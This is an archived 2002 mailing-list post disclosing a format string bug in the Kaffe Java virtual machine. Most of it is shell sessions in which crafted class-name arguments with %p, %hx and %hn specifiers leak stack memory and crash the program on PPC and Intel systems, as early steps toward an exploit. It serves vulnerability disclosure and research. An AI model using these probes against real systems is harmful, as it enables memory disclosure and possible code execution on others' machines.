Vulnerability Development mailing list archives

Kaffe format strings


From: KF <dotslash () snosoft com>
Date: Fri, 22 Feb 2002 13:52:17 -0500

A kiwi friend of mine (zoid[] optium () xtra co nz ) has been sitting on a quaint little issue in kaffe for some time...this looks like it needs attention.

On ppc its a pain in the butt...
These Wide Chars are screwing us.
java.lang.NoClassDefFoundError: AAAABBBB/0x410041
      at java.lang.Class.forName(Class.java:native)
      at java.lang.Class.forName(Class.java:55)

java.lang.NoClassDefFoundError: AAAABBBB/0x420042
      at java.lang.Class.forName(Class.java:native)
      at java.lang.Class.forName(Class.java:55)


[root@linuxppc root]# kaffe AABBCCDD%920\$p%921\$p%922\$p%923\$p
java.lang.NoClassDefFoundError: AABBCCDD0x4100410x4200420x4300430x440044
      at java.lang.Class.forName(Class.java:native)
      at java.lang.Class.forName(Class.java:55)


[root@linuxppc root]# kaffe `echo -e "\x10\x01\x26\xfc\x12\x01\x26\xfe"`..%920\$hn.%921\%hn
Kaffe: utf8const.c:312: utf8ConstUniLength: Assertion `ptr == end' failed.
Aborted (core dumped)

[root@linuxppc root]# kaffe XaXbXcXdXAXBXCXD%920\$hx%921\$hx%922\$hx%923\$hx%924\$hx%925\$hx%926\$hx
java.lang.NoClassDefFoundError: XaXbXcXdXAXBXCXD616263644142edc0
      at java.lang.Class.forName(Class.java:native)
      at java.lang.Class.forName(Class.java:55)

On intel its a bit easier
[root@chaos /]# kaffe AAAABBBB..%868\$hp.%869\$hp
java.lang.NoClassDefFoundError: AAAABBBB//0x41414141/0x42424242
at           java.lang.Class.forName(Class.java:native)
at           java.lang.Class.forName(Class.java:52)

Heres an error from a %n
Kaffe: utf8const.c:299: utf8ConstUniLength: Assertion `ptr == end' failed.
Aborted (core dumped)
Engine: Just-in-time v3          Version: 1.0.6   Java Version: 1.1

[root@chaos /]# kaffe          %p.%p.%p.%p
java.lang.NoClassDefFoundEr ror: 0xbfffed68/0x4006fa34/0x81a2e38/0xbfffec50
at          java.lang.Class.forName(Class.java:native)
at          java.lang.Class.forName(Class.java:52)
[root@chaos /]#

-KF


Current thread: